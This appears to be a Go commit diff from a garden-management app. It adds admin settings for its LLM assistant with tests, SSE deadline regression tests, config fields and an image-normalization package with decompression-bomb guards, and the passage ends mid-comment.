// settingsResponse is what GET/PATCH /settings return. It carries the stored
// settings plus a read-only view of what's resolved and live, so the UI can show
// "inheriting ollama-cloud/glm-5.2:cloud from the environment" and whether a key
// is present — without ever exposing the key itself.
type settingsResponse struct {
Settings *domain.InstanceSettings `json:"settings"`
// Effective is the configuration actually in force after layering settings
// over the environment.
Effective effectiveView `json:"effective"`
}
type effectiveView struct {
Model string `json:"model"`
Enabled bool `json:"enabled"`
// HasApiKey reports whether OLLAMA_CLOUD_API_KEY is set. The key itself is
// never serialized — an admin may know one exists, not what it is.
HasApiKey bool `json:"hasApiKey"`
// AgentLive is whether the assistant Runner is actually built right now. It
// can be false even when Enabled+HasApiKey are true (an unresolvable model),
// which is exactly the case the UI needs to surface.
AgentLive bool `json:"agentLive"`
// VisionModel is the resolved seed-packet model (DB-over-env). VisionReady is
// whether capture can actually be offered (a key and a model).
VisionModel string `json:"visionModel"`
VisionReady bool `json:"visionReady"`
}
// settingsPayload builds the response, or an error. It does NOT swallow an
// EffectiveConfig failure into a misleading empty "effective" view — an empty
// view would report no model and no key, which reads as "nothing configured"
// rather than "we couldn't read it". Since EffectiveConfig re-reads the same row
// GetInstanceSettings just returned, a failure here is a genuine DB fault worth
// surfacing as a 500, not papering over. It also resolves the agent and vision
// views from ONE row read rather than fetching the single-row table twice.
func (h *handlers) settingsPayload(c *gin.Context, st *domain.InstanceSettings) (settingsResponse, error) {
eff, vis, err := h.svc.EffectiveConfig(c.Request.Context())
if err != nil {
return settingsResponse{}, err
}
return settingsResponse{
Settings: st,
Effective: effectiveView{
Model: eff.Model,
Enabled: eff.Enabled,
HasApiKey: eff.APIKey != "",
AgentLive: h.agent.get() != nil,
VisionModel: vis.Model,
VisionReady: vis.Ready(),
},
}, nil
}
func (h *handlers) getSettings(c *gin.Context) {
st, err := h.svc.GetInstanceSettings(c.Request.Context(), mustActor(c).ID)
if err != nil {
writeServiceError(c, err)
return
}
payload, err := h.settingsPayload(c, st)
if err != nil {
writeServiceError(c, err)
return
}
c.JSON(http.StatusOK, payload)
}
// settingsUpdateRequest is the PATCH body. agentModel "" means inherit the env
// var. agentEnabled is json.RawMessage so an explicit null (inherit) is
// distinguishable from an absent field and from true/false.
type settingsUpdateRequest struct {
AgentModel string `json:"agentModel"`
AgentEnabled json.RawMessage `json:"agentEnabled"`
VisionModel string `json:"visionModel"`
Version int64 `json:"version" binding:"required"`
}
func (h *handlers) updateSettings(c *gin.Context) {
var req settingsUpdateRequest
if err := c.ShouldBindJSON(&req); err != nil {
writeAPIError(c, http.StatusBadRequest, "INVALID_INPUT", "a current version is required")
return
}
// agentEnabled: absent or null → inherit (nil); true/false → explicit override.
// The shared parseNullable does exactly this three-way decode; present is
// irrelevant here because absent and null both mean "inherit".
enabled, _, err := parseNullable[bool](req.AgentEnabled)
if err != nil {
writeAPIError(c, http.StatusBadRequest, "INVALID_INPUT", "agentEnabled must be true, false, or null")
return
}
st, err := h.svc.UpdateInstanceSettings(c.Request.Context(), mustActor(c).ID, service.InstanceSettingsPatch{
AgentModel: req.AgentModel,
AgentEnabled: enabled,
VisionModel: req.VisionModel,
Version: req.Version,
})
if err != nil {
if errors.Is(err, domain.ErrVersionConflict) {
writeVersionConflict(c, st)
return
}
writeServiceError(c, err)
return
}
// Apply the change to the LIVE assistant. Detached from the request context:
// the write is committed and the rebuild describes it, so a client that hangs
// up now must not leave the running Runner out of step with the stored
// settings. Mirrors the same reasoning as the history-write detachment.
h.agent.rebuild(context.WithoutCancel(c.Request.Context()))
payload, err := h.settingsPayload(c, st)
if err != nil {
writeServiceError(c, err)
return
}
c.JSON(http.StatusOK, payload)
}
+208
View File
@@ -0,0 +1,208 @@
package api
import (
"net/http"
"testing"
"github.com/gin-gonic/gin"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/config"
)
// agentCfg is a config with the assistant configured — a (fake) key, on, and a
// resolvable model. The key isn't real, but ValidateAgentModel/NewRunner only
// PARSE the spec (no live call), so a Runner still builds and capabilities
// reports it live. That's enough to exercise the runtime on/off swap.
func agentCfg() *config.Config {
c := localCfg()
c.Agent = config.AgentConfig{
Model: "ollama-cloud/glm-5.2:cloud",
OllamaCloudAPIKey: "test-key",
Enabled: true,
}
return c
}
func settingsVersion(t *testing.T, r *gin.Engine, cookie *http.Cookie) int64 {
t.Helper()
w := doJSON(t, r, http.MethodGet, "/api/v1/settings", nil, cookie)
if w.Code != http.StatusOK {
t.Fatalf("get settings: status %d, body %s", w.Code, w.Body.String())
}
st, _ := decodeMap(t, w.Body.Bytes())["settings"].(map[string]any)
return int64(st["version"].(float64))
}
// TestSettingsAdminOnly: the first registered user is admin and can read/write
// settings; a second user is not and gets 403 (not 404 — settings aren't a
// masked resource).
func TestSettingsAdminOnly(t *testing.T) {
r := authEngine(t, localCfg())
admin := registerAndCookie(t, r, "[email protected]") // first user → admin
member := registerAndCookie(t, r, "[email protected]")
if w := doJSON(t, r, http.MethodGet, "/api/v1/settings", nil, admin); w.Code != http.StatusOK {
t.Fatalf("admin GET settings: status %d, body %s", w.Code, w.Body.String())
}
if w := doJSON(t, r, http.MethodGet, "/api/v1/settings", nil, member); w.Code != http.StatusForbidden {
t.Errorf("member GET settings: status %d, want 403", w.Code)
}
if w := doJSON(t, r, http.MethodPatch, "/api/v1/settings",
map[string]any{"agentModel": "x", "version": 1}, member); w.Code != http.StatusForbidden {
t.Errorf("member PATCH settings: status %d, want 403", w.Code)
}
// Unauthenticated is 401, before the admin check.
if w := doJSON(t, r, http.MethodGet, "/api/v1/settings", nil, nil); w.Code != http.StatusUnauthorized {
t.Errorf("anonymous GET settings: status %d, want 401", w.Code)
}
}
// TestSettingsInheritFromEnv: an untouched instance reports the env model as
// effective, and an empty stored model keeps inheriting it.
func TestSettingsInheritFromEnv(t *testing.T) {
r := authEngine(t, agentCfg())
admin := registerAndCookie(t, r, "[email protected]")
w := doJSON(t, r, http.MethodGet, "/api/v1/settings", nil, admin)
if w.Code != http.StatusOK {
t.Fatalf("get: status %d, body %s", w.Code, w.Body.String())
}
body := decodeMap(t, w.Body.Bytes())
st := body["settings"].(map[string]any)
eff := body["effective"].(map[string]any)
if st["agentModel"] != "" {
t.Errorf("stored model = %v, want empty (inherit)", st["agentModel"])
}
if eff["model"] != "ollama-cloud/glm-5.2:cloud" {
t.Errorf("effective model = %v, want the env value", eff["model"])
}
if eff["hasApiKey"] != true || eff["agentLive"] != true {
t.Errorf("effective = %+v, want a key present and the agent live", eff)
}
}
// TestSettingsUpdateSwapsTheRunner is the core of #79: changing settings takes
// effect on the LIVE assistant, with no restart. Driven entirely through HTTP.
func TestSettingsUpdateSwapsTheRunner(t *testing.T) {
r := authEngine(t, agentCfg())
admin := registerAndCookie(t, r, "[email protected]")
capsAgent := func() bool {
w := doJSON(t, r, http.MethodGet, "/api/v1/capabilities", nil, admin)
return decodeMap(t, w.Body.Bytes())["agent"] == true
}
// Configured and on out of the box.
if !capsAgent() {
t.Fatal("assistant should be live at boot with a key + enabled")
}
// Turn it OFF via settings → capabilities flips immediately.
v := settingsVersion(t, r, admin)
w := doJSON(t, r, http.MethodPatch, "/api/v1/settings",
map[string]any{"agentModel": "", "agentEnabled": false, "version": v}, admin)
if w.Code != http.StatusOK {
t.Fatalf("disable: status %d, body %s", w.Code, w.Body.String())
}
if capsAgent() {
t.Error("assistant still live after being disabled — the runner wasn't swapped")
}
// Chat now refuses, at runtime, on a route that still exists.
gid := createGardenAPI(t, r, admin, "G")
if w := doJSON(t, r, http.MethodPost, "/api/v1/agent/chat",
map[string]any{"gardenId": gid, "message": "hi"}, admin); w.Code != http.StatusServiceUnavailable {
t.Errorf("chat while disabled: status %d, want 503", w.Code)
}
// Turn it back ON, with an explicit model, and confirm it's live again and the
// effective model reflects the change.
v = settingsVersion(t, r, admin)
w = doJSON(t, r, http.MethodPatch, "/api/v1/settings", map[string]any{
"agentModel": "ollama-cloud/kimi-k2.6:cloud", "agentEnabled": true, "version": v,
}, admin)
if w.Code != http.StatusOK {
t.Fatalf("re-enable: status %d, body %s", w.Code, w.Body.String())
}
if eff := decodeMap(t, w.Body.Bytes())["effective"].(map[string]any); eff["model"] != "ollama-cloud/kimi-k2.6:cloud" {
t.Errorf("effective model = %v after change, want the new one", eff["model"])
}
if !capsAgent() {
t.Error("assistant not live after being re-enabled")
}
}
// TestSettingsRejectsBadModel: a spec that won't resolve is a 400 at save time,
// not a broken assistant on the next turn.
func TestSettingsRejectsBadModel(t *testing.T) {
r := authEngine(t, agentCfg())
admin := registerAndCookie(t, r, "[email protected]")
v := settingsVersion(t, r, admin)
if w := doJSON(t, r, http.MethodPatch, "/api/v1/settings",
map[string]any{"agentModel": "nonesuch/model", "version": v}, admin); w.Code != http.StatusBadRequest {
t.Errorf("bad model: status %d, want 400", w.Code)
}
// agentEnabled must be a bool or null, not a string.
if w := doJSON(t, r, http.MethodPatch, "/api/v1/settings",
map[string]any{"agentModel": "", "agentEnabled": "yes", "version": v}, admin); w.Code != http.StatusBadRequest {
t.Errorf("string agentEnabled: status %d, want 400", w.Code)
}
}
// TestSettingsVersionConflict: a stale version 409s and carries the current row.
func TestSettingsVersionConflict(t *testing.T) {
r := authEngine(t, agentCfg())
admin := registerAndCookie(t, r, "[email protected]")
v := settingsVersion(t, r, admin)
// First write succeeds and bumps the version.
if w := doJSON(t, r, http.MethodPatch, "/api/v1/settings",
map[string]any{"agentModel": "", "agentEnabled": false, "version": v}, admin); w.Code != http.StatusOK {
t.Fatalf("first update: status %d, body %s", w.Code, w.Body.String())
}
// Reusing the old version conflicts.
w := doJSON(t, r, http.MethodPatch, "/api/v1/settings",
map[string]any{"agentModel": "", "agentEnabled": true, "version": v}, admin)
if w.Code != http.StatusConflict {
t.Fatalf("stale update: status %d, want 409", w.Code)
}
if cur, ok := decodeMap(t, w.Body.Bytes())["current"].(map[string]any); !ok || cur["version"].(float64) != float64(v+1) {
t.Errorf("409 body missing the current row at the bumped version: %s", w.Body.String())
}
}
// TestSettingsSwapUnderRace runs settings saves concurrently with chat requests,
// so `go test -race` proves the atomic swap of the live Runner is safe against
// in-flight readers. The whole point of the atomic.Pointer is this: without it,
// toggling the assistant while a request reads it is a data race.
func TestSettingsSwapUnderRace(t *testing.T) {
r := authEngine(t, agentCfg())
admin := registerAndCookie(t, r, "[email protected]")
done := make(chan struct{})
// Readers hammer capabilities, whose h.agent.get() is the SAME atomic Load the
// chat handler does — so this races the pointer read against the writer's swap
// without ever invoking the model (a real Run would hit the network on a fake
// key). If get() is race-clean here it is race-clean in chat.
for i := 0; i < 4; i++ {
go func() {
for {
select {
case <-done:
return
default:
doJSON(t, r, http.MethodGet, "/api/v1/capabilities", nil, admin)
}
}
}()
}
// Writer: flip the assistant on and off, swapping the pointer each time.
for i := 0; i < 12; i++ {
v := settingsVersion(t, r, admin)
doJSON(t, r, http.MethodPatch, "/api/v1/settings",
map[string]any{"agentModel": "", "agentEnabled": i%2 == 0, "version": v}, admin)
}
close(done)
}
+101
View File
@@ -0,0 +1,101 @@
package api
import (
"bufio"
"net/http/httptest"
"strings"
"testing"
"time"
"github.com/gin-gonic/gin"
)
// streamFrames spins up a real http.Server with the given WriteTimeout and an
// SSE handler that emits `frames` data frames, one every `tick`, then returns.
// It reports how many frames the client actually received and any read error —
// the only vantage point from which the deadline failures in #78/#87 are
// visible, since the writes themselves return nil when the bytes are dropped.
func streamFrames(t *testing.T, serverWriteTimeout, tick time.Duration, frames int) (int, error) {
t.Helper()
gin.SetMode(gin.TestMode)
r := gin.New()
r.GET("/stream", func(c *gin.Context) {
s := openEventStream(c)
for i := 0; i < frames; i++ {
time.Sleep(tick)
s.send(chatEvent{Error: "frame"})
}
})
srv := httptest.NewUnstartedServer(r)
srv.Config.WriteTimeout = serverWriteTimeout
srv.Start()
defer srv.Close()
resp, err := srv.Client().Get(srv.URL + "/stream")
if err != nil {
t.Fatalf("get: %v", err)
}
defer resp.Body.Close()
got := 0
sc := bufio.NewScanner(resp.Body)
for sc.Scan() {
if strings.HasPrefix(sc.Text(), "data: ") {
got++
}
}
return got, sc.Err()
}
// TestEventStreamOutlivesServerWriteTimeout is the regression test for #78.
//
// http.Server.WriteTimeout is an ABSOLUTE deadline measured from when the
// request header was read — not an idle timeout — so a streaming response is cut
// once it passes, however recently the handler wrote. pansy sets it to 30s while
// an agent turn may run for minutes. openEventStream must override it.
//
// This has to be asserted from the CLIENT side because the failure cannot be
// observed from the handler: writes made after the deadline return err == nil
// and their bytes are silently discarded. A test that checked the return of
// io.WriteString would pass against the bug.
func TestEventStreamOutlivesServerWriteTimeout(t *testing.T) {
// sseWriteTimeout stays at its 30s default here, so the per-frame refresh
// keeps the stream alive with a huge margin — CI slowness only ever makes
// this pass more surely. The server's 300ms WriteTimeout is the thing being
// overridden; frames straddle it (300ms/600ms/900ms).
got, err := streamFrames(t, 300*time.Millisecond, 300*time.Millisecond, 3)
if err != nil {
t.Errorf("client read error after %d/3 frames: %v", got, err)
}
if got != 3 {
t.Errorf("client received %d frames, want 3 — the stream was cut at the server WriteTimeout", got)
}
}
// TestEventStreamRefreshesDeadlinePerFrame guards the #87 fix specifically: the
// write deadline is refreshed on EVERY frame, not set once.
//
// A set-once deadline is a plausible "simplification" and it reintroduces the
// unbounded-block risk the per-frame refresh exists to prevent — yet it would
// sail through the test above, whose whole run is far under sseWriteTimeout. So
// shrink sseWriteTimeout below the stream's total duration and send frames whose
// gap stays comfortably under it: per-frame refresh delivers them all, while a
// deadline set once at open would expire mid-stream and cut it short.
func TestEventStreamRefreshesDeadlinePerFrame(t *testing.T) {
orig := sseWriteTimeout
sseWriteTimeout = 400 * time.Millisecond
t.Cleanup(func() { sseWriteTimeout = orig })
// The server WriteTimeout is generous (5s), so it isn't the limiter — the
// per-frame sseWriteTimeout is. 8 frames at a 100ms tick span 800ms, well past
// the 400ms deadline, but each 100ms gap is a 4× margin under it.
got, err := streamFrames(t, 5*time.Second, 100*time.Millisecond, 8)
if err != nil {
t.Errorf("client read error after %d/8 frames: %v", got, err)
}
if got != 8 {
t.Errorf("client received %d frames, want 8 — a set-once deadline would cut the stream at ~%v; the refresh must be per-frame",
got, sseWriteTimeout)
}
}
+43
View File
@@ -19,6 +19,9 @@ const (
RegistrationClosed = "closed"
)
// DefaultAgentModel is the assistant's model when PANSY_AGENT_MODEL is unset.
const DefaultAgentModel = "ollama-cloud/glm-5.2:cloud"
// Config is the fully-resolved runtime configuration.
type Config struct {
// Port is the TCP port the HTTP server listens on (PANSY_PORT, default 8080).
@@ -37,6 +40,8 @@ type Config struct {
LocalAuth bool
// OIDC holds the optional OpenID Connect provider settings.
OIDC OIDCConfig
// Agent holds the garden-assistant settings.
Agent AgentConfig
// TrustedProxies is the set of proxy CIDRs/IPs gin trusts for client IP
// resolution (PANSY_TRUSTED_PROXIES, comma-separated). Empty trusts none.
TrustedProxies []string
@@ -51,6 +56,31 @@ type OIDCConfig struct {
ButtonLabel string // PANSY_OIDC_BUTTON_LABEL — login-page button text
}
// AgentConfig holds the garden assistant's settings.
type AgentConfig struct {
// Model is the majordomo model spec, passed VERBATIM to majordomo.Parse
// (PANSY_AGENT_MODEL). The grammar is majordomo's, not pansy's — parsing or
// validating it here would only mean two places to update when it grows. A
// comma-separated spec is a failover chain, so
// "ollama-cloud/glm-5.2:cloud,ollama-cloud/kimi-k2.6:cloud" gets a fallback
// for free.
Model string
// OllamaCloudAPIKey authenticates against Ollama Cloud
// (OLLAMA_CLOUD_API_KEY — the same secret name gadfly uses, which is why
// it isn't majordomo's own OLLAMA_API_KEY; pansy passes it explicitly rather
// than relying on ambient environment).
OllamaCloudAPIKey string
// Enabled turns the assistant on (PANSY_AGENT_ENABLED). Defaults to on when
// a key is present, so an instance with no key starts cleanly and simply
// doesn't offer the agent — the same shape as OIDC 404ing when unconfigured.
Enabled bool
// VisionModel is the model that reads a photographed seed packet
// (PANSY_VISION_MODEL). Empty by default: the seed-packet capture feature is
// only offered when a vision-capable model is configured (in env or Settings)
// and a key is present. Passed verbatim to majordomo.Parse, like Model.
VisionModel string
}
// Enabled reports whether enough OIDC config is present to attempt discovery.
func (o OIDCConfig) Enabled() bool {
return o.Issuer != "" && o.ClientID != ""
@@ -87,6 +117,19 @@ func Load() *Config {
TrustedProxies: envList("PANSY_TRUSTED_PROXIES"),
}
agentKey := envStr("OLLAMA_CLOUD_API_KEY", "")
cfg.Agent = AgentConfig{
Model: envStr("PANSY_AGENT_MODEL", DefaultAgentModel),
OllamaCloudAPIKey: agentKey,
// Default on when a key is present: having configured the key IS the
// opt-in, and making people set a second flag to use what they just
// configured is a papercut with no upside.
Enabled: envBool("PANSY_AGENT_ENABLED", agentKey != ""),
// No default vision model: unlike chat there's no obvious safe default,
// and the feature stays off until an admin names one that can see.
VisionModel: envStr("PANSY_VISION_MODEL", ""),
}
if cfg.Registration != RegistrationOpen && cfg.Registration != RegistrationClosed {
slog.Warn("config: invalid PANSY_REGISTRATION, defaulting to open", "value", cfg.Registration)
cfg.Registration = RegistrationOpen
+42
View File
@@ -191,6 +191,28 @@ type JournalEntry struct {
AuthorName string `json:"authorName,omitempty"`
}
// Roles a stored agent message can have.
const (
AgentRoleUser = "user"
AgentRoleAssistant = "assistant"
)
// AgentMessage is one side of a chat exchange with the garden assistant. Only
// the text is kept, not the model's full transcript with its tool calls:
// continuity needs what was said and what came back, and replaying a stored tool
// call would be replaying a decision made against a garden that has since moved
// on.
type AgentMessage struct {
ID int64 `json:"id"`
ConversationID int64 `json:"conversationId"`
Role string `json:"role"`
Body string `json:"body"`
// ChangeSetID is what this turn changed, if anything — the handle the chat
// panel needs to offer Undo on the message that caused it.
ChangeSetID *int64 `json:"changeSetId,omitempty"`
CreatedAt string `json:"createdAt"`
}
// RevertConflict reports one entity a revert deliberately left alone, because
// reverting it would have discarded a change made after the change set being
// reverted. The rest of the change set still reverts.
@@ -220,6 +242,26 @@ const (
ConflictUnsupported = "unsupported"
)
// InstanceSettings is the single row of instance-wide, admin-editable
// configuration (#79). Secrets are deliberately absent — see migration 0010.
//
// Both agent fields express "inherit from the environment unless set":
// AgentModel == "" falls back to PANSY_AGENT_MODEL; AgentEnabled == nil inherits
// the env default. EffectiveAgent resolves them against the environment.
type InstanceSettings struct {
// AgentModel overrides PANSY_AGENT_MODEL when non-empty. Passed verbatim to
// majordomo.Parse, exactly like the env var it shadows.
AgentModel string `json:"agentModel"`
// AgentEnabled overrides PANSY_AGENT_ENABLED when non-nil. nil = inherit.
AgentEnabled *bool `json:"agentEnabled"`
// VisionModel overrides PANSY_VISION_MODEL when non-empty; the model that
// reads a photographed seed packet (#81). Empty = feature off unless the env
// var names one.
VisionModel string `json:"visionModel"`
Version int64 `json:"version"`
UpdatedAt string `json:"updatedAt"`
}
// User is a pansy account. It may have a local password, OIDC identity, or both.
type User struct {
ID int64 `json:"id"`
+367
View File
@@ -0,0 +1,367 @@
// Package imagenorm normalizes an uploaded image to a JPEG the rest of pansy
// (and majordomo's vision path) can rely on, decoding the formats a phone
// actually produces.
//
// # Why this exists
//
// majordomo's own media pipeline is stdlib-based, so it cannot decode HEIC or
// WebP — and HEIC is the iPhone camera default. The seed-packet feature's very
// first input is "a photo from my phone", so without this the feature fails on
// the exact device that motivates it. Normalizing at the upload boundary means
// everything downstream only ever sees JPEG.
//
// # The CGO constraint
//
// pansy is CGO_ENABLED=0 (a single static binary — the reason modernc/sqlite was
// chosen over the C one), so a libheif *binding* is out. github.com/gen2brain/heic
// runs libheif as WebAssembly via wazero: pure Go, no cgo, and it registers with
// image.Decode like any other format. golang.org/x/image/webp is pure Go too.
//
// # Import-driven registry
//
// Go's image decoders register via blank imports, and the failure mode is
// backwards from intuition: forget "image/png" and PNG uploads fail with
// "unknown format" while the exotic HEIC still works. So the blank imports below
// are load-bearing, and TestNormalizeAllFormats exercises all four formats to
// keep them so.
package imagenorm
import (
"bytes"
"encoding/binary"
"errors"
"fmt"
"image"
"image/jpeg"
"io"
"golang.org/x/image/draw"
// Decoders, registered with image.Decode by side effect. All four matter:
// jpeg/png are the common cases, heic is the iPhone default, webp is common
// on the web. Dropping any one silently breaks that format's uploads.
_ "image/jpeg"
_ "image/png"
_ "github.com/gen2brain/heic"
_ "golang.org/x/image/webp"
)
// Defaults chosen for the seed-packet path against ollama-cloud's limits (8
// images, 20 MiB, 2048px, jpeg+png). We re-encode to JPEG well under all of them.
const (
// DefaultMaxDim is the longest-edge ceiling. 2048 matches ollama-cloud's
// MaxDim; anything larger is downscaled. A packet photo has plenty of detail
// left at 2048.
DefaultMaxDim = 2048
// DefaultMaxBytes caps the *input* we will read. A phone photo is 38 MB; 25
// MiB leaves headroom for a large HEIC without inviting a decompression bomb
// as an unbounded read. The re-encoded output is far smaller.
DefaultMaxBytes = 25 << 20
// maxDecodePixels bounds the DECODED bitmap regardless of input byte size, so
// a small file claiming enormous dimensions (a decompression bomb) is refused
// before its ~4-bytes/px bitmap is allocated. 50 MP ≈ 200 MB peak — above any
// current phone camera (a 48 MP sensor is 48 MP) while capping the
// amplification a hostile header can force. maxDecodePixels and maxDimension
// are internal safety floors, not knobs — unlike MaxDim/MaxBytes there's no
// reason for a caller to raise them.
maxDecodePixels = 50_000_000
// maxDimension caps EACH side independently. It exists to make the pixel-count
// check overflow-safe: without it, a header claiming ~2^32 on a side could
// wrap int64(w)*int64(h) negative and slip past maxDecodePixels. No real image
// is 50k px on a side.
maxDimension = 50_000
// jpegQuality for the normalized output. 85 is visually clean and keeps the
// file small; the model reads text off it, not fine gradients.
jpegQuality = 85
)
// Options tunes Normalize. The zero value uses the Default* constants.
type Options struct {
MaxDim int // longest edge; 0 → DefaultMaxDim
MaxBytes int // input read cap; 0 → DefaultMaxBytes
}
func (o Options) maxDim() int {
if o.MaxDim > 0 {
return o.MaxDim
}
return DefaultMaxDim
}
func (o Options) maxBytes() int {
if o.MaxBytes > 0 {
return o.MaxBytes
}
return DefaultMaxBytes
}
// ErrTooLarge means the input exceeded the byte cap or decoded to an absurd
// pixel count. ErrUnsupported means the bytes weren't a decodable image format —
// or a decoder panicked on them (see the recover in Normalize).
var (
ErrTooLarge = errors.New("imagenorm: image too large")
ErrUnsupported = errors.New("imagenorm: unsupported or corrupt image")
)
// Normalize reads an image of any supported format (JPEG, PNG, HEIC, WebP),
// downscales it to fit opts.MaxDim on its longest edge, applies the JPEG EXIF
// orientation so the pixels come out upright, and returns it re-encoded as JPEG,
// plus the decoded format name (e.g. "heic") — handy for logging what a phone
// actually sent. On any error the returned bytes are nil and format is "".
//
// Errors, by cause:
// - input over opts.MaxBytes, or a decoded canvas over maxDecodePixels /
// maxDimension → ErrTooLarge, refused before the bitmap is allocated;
// - bytes that aren't a decodable image, or a decoder that panics on them →
// ErrUnsupported;
// - a genuine read or JPEG-encode I/O failure → a wrapped error (not a
// sentinel), since those are the caller's stream/environment, not the image.
//
// It bounds work against a hostile upload three ways: the byte cap, the
// pre-decode pixel/dimension check, and a recover around the third-party decoders
// (a malformed HEIC/WebP shouldn't take the process down).
//
// EXIF orientation: phone cameras store the sensor pixels in one orientation and
// set an EXIF tag to rotate on display, so a JPEG "portrait" photo is really a
// landscape bitmap tagged "rotate 90°" — and the re-encode below strips EXIF,
// which is exactly why the rotation must be BAKED IN here. applyOrientation does
// that for the JPEG path (the format phone uploads overwhelmingly arrive in);
// other formats carry no JPEG EXIF and their decoders own orientation, so they're
// left as decoded.
//
// One known gap, deferred to the upload handler (#81): there is no context —
// image.Decode is CPU-bound and not cancellable mid-decode, so a caller that
// needs a hard deadline should run Normalize under its own timeout. The size
// guards keep the work finite regardless.
func Normalize(r io.Reader, opts Options) (out []byte, format string, err error) {
// Cap the read at MaxBytes+1 so we can tell "exactly at the cap" from "over".
// maxBytes() is always a sane positive (default 25 MiB); guard the +1 anyway.
byteCap := opts.maxBytes()
limit := int64(byteCap) + 1
if limit < 1 {
limit = int64(DefaultMaxBytes) + 1
}
raw, err := io.ReadAll(io.LimitReader(r, limit))
if err != nil {
return nil, "", fmt.Errorf("imagenorm: read: %w", err)
}
if len(raw) > byteCap {
return nil, "", ErrTooLarge
}
// Check dimensions BEFORE a full decode, so a decompression bomb is refused
// before it allocates its bitmap. The per-side maxDimension check runs first
// so the pixel-count multiply below can't overflow.
cfg, _, err := image.DecodeConfig(bytes.NewReader(raw))
if err != nil {
return nil, "", ErrUnsupported
}
if cfg.Width <= 0 || cfg.Height <= 0 ||
cfg.Width > maxDimension || cfg.Height > maxDimension ||
int64(cfg.Width)*int64(cfg.Height) > maxDecodePixels {
return nil, "", ErrTooLarge
}
img, format, err := decodeSafely(raw)
if err != nil {
return nil, "", err
}
// Downscale first (cheaper to rotate the small image), then bake in the EXIF
// orientation so the JPEG we emit is upright. A 90° rotation swaps the sides
// but not the longest edge, so the downscale bound still holds after it.
img = downscale(img, opts.maxDim())
img = applyOrientation(img, exifOrientation(raw))
var buf bytes.Buffer
if err := jpeg.Encode(&buf, img, &jpeg.Options{Quality: jpegQuality}); err != nil {
return nil, "", fmt.Errorf("imagenorm: encode jpeg: %w", err)
}
return buf.Bytes(), format, nil
}
// decodeSafely decodes raw, converting both a decode error and a decoder PANIC
// into ErrUnsupported. The recover matters because the image comes from an
// untrusted upload and the HEIC/WebP decoders are third-party (libheif via WASM,
// x/image/webp): a malformed file that panics one of them must fail this one
// request, not crash the process.
func decodeSafely(raw []byte) (img image.Image, format string, err error) {
defer func() {
if r := recover(); r != nil {
img, format, err = nil, "", ErrUnsupported
}
}()
img, format, err = image.Decode(bytes.NewReader(raw))
if err != nil {
return nil, "", ErrUnsupported
}
return img, format, nil
}
// applyOrientation returns img with the EXIF orientation (1..8) baked in, so the
// pixels are upright and no display-time rotation is needed. Orientation 1 (and
// anything out of range) is a no-op. Values 5..8 are 90° rotations, which swap
// the output's width and height. Copies raw RGBA pixels by byte offset (after a
// one-time conversion if the source isn't already RGBA), so a full-resolution
// rotation doesn't box a color.Color per pixel.
func applyOrientation(img image.Image, o int) image.Image {
if o <= 1 || o > 8 {
return img
}
// Work on a concrete RGBA so the transform is a 4-byte copy per pixel rather
// than millions of boxed color.Color values through At/Set. downscale usually
// hands us an *image.RGBA already; convert once if not (e.g. a small JPEG that
// skipped downscale decodes to YCbCr).
src, ok := img.(*image.RGBA)
if !ok {
b := img.Bounds()
conv := image.NewRGBA(image.Rect(0, 0, b.Dx(), b.Dy()))
draw.Draw(conv, conv.Bounds(), img, b.Min, draw.Src)
src = conv
}
sb := src.Bounds()
w, h := sb.Dx(), sb.Dy()
// A quarter-turn (5..8) transposes the output; size the one buffer accordingly.
dw, dh := w, h
if o >= 5 {
dw, dh = h, w
}
dst := image.NewRGBA(image.Rect(0, 0, dw, dh))
for y := range h {
for x := range w {
var dx, dy int
switch o {
case 2: // mirror horizontal
dx, dy = w-1-x, y
case 3: // rotate 180
dx, dy = w-1-x, h-1-y
case 4: // mirror vertical
dx, dy = x, h-1-y
case 5: // transpose (mirror across the main diagonal)
dx, dy = y, x
case 6: // rotate 90° clockwise
dx, dy = h-1-y, x
case 7: // transverse (mirror across the anti-diagonal)
dx, dy = h-1-y, w-1-x
case 8: // rotate 90° counter-clockwise
dx, dy = y, w-1-x
}
si := src.PixOffset(sb.Min.X+x, sb.Min.Y+y)
di := dst.PixOffset(dx, dy)
copy(dst.Pix[di:di+4], src.Pix[si:si+4])
}
}
return dst
}
// exifOrientation extracts the EXIF Orientation tag (1..8) from raw image bytes,
// returning 1 (normal) when it's absent or unparseable — the safe default, since
// a wrong guess rotates a correct image. Only the JPEG APP1/Exif path is parsed:
// that's the format uploaded phone photos overwhelmingly arrive in, and the other
// decoders own their own orientation.
func exifOrientation(raw []byte) int {
// A JPEG is a run of FFxx marker segments after the SOI (FFD8). Walk them
// looking for APP1 (FFE1) carrying "Exif\0\0"; stop at the scan data (SOS).
if len(raw) < 4 || raw[0] != 0xFF || raw[1] != 0xD8 {
return 1
}
for i := 2; i+1 < len(raw); {
if raw[i] != 0xFF {
return 1 // not aligned on a marker; give up rather than misread
}
// A marker may be preceded by any number of 0xFF fill bytes (JPEG spec);
// skip them so a padded APP1 isn't misread as a marker of value 0xFF.
for i+1 < len(raw) && raw[i+1] == 0xFF {
i++
}
if i+1 >= len(raw) {
return 1
}
marker := raw[i+1]
if marker == 0xD9 || marker == 0xDA {
return 1 // EOI / start-of-scan: no more headers to read
}
if i+4 > len(raw) {
return 1
}
segLen := int(raw[i+2])<<8 | int(raw[i+3])
if segLen < 2 || i+2+segLen > len(raw) {
return 1
}
if marker == 0xE1 {
if o, ok := orientationFromApp1(raw[i+4 : i+2+segLen]); ok {
return o
}
}
i += 2 + segLen
}
return 1
}
// orientationFromApp1 reads the Orientation tag from a JPEG APP1 segment body
// (everything after the 2-byte length): "Exif\0\0" then a TIFF block holding
// IFD0. Returns (0, false) if the segment isn't Exif or the tag is missing.
func orientationFromApp1(seg []byte) (int, bool) {
const prefix = "Exif\x00\x00"
if len(seg) < len(prefix)+8 || string(seg[:len(prefix)]) != prefix {
return 0, false
}
tiff := seg[len(prefix):]
var bo binary.ByteOrder
switch string(tiff[0:2]) {
case "II":
bo = binary.LittleEndian
case "MM":
bo = binary.BigEndian
default:
return 0, false
}
if bo.Uint16(tiff[2:4]) != 0x2A { // TIFF magic (42); byte order must agree
return 0, false
}
ifd := int(bo.Uint32(tiff[4:8])) // offset to IFD0 from the TIFF start
if ifd < 8 || ifd+2 > len(tiff) {
return 0, false
}
n := int(bo.Uint16(tiff[ifd : ifd+2]))
for k := range n {
off := ifd + 2 + k*12 // each IFD entry is 12 bytes
if off+12 > len(tiff) {
return 0, false
}
if bo.Uint16(tiff[off:off+2]) != 0x0112 { // Orientation tag
continue
}
// Orientation is defined as a single SHORT, whose value sits inline in the
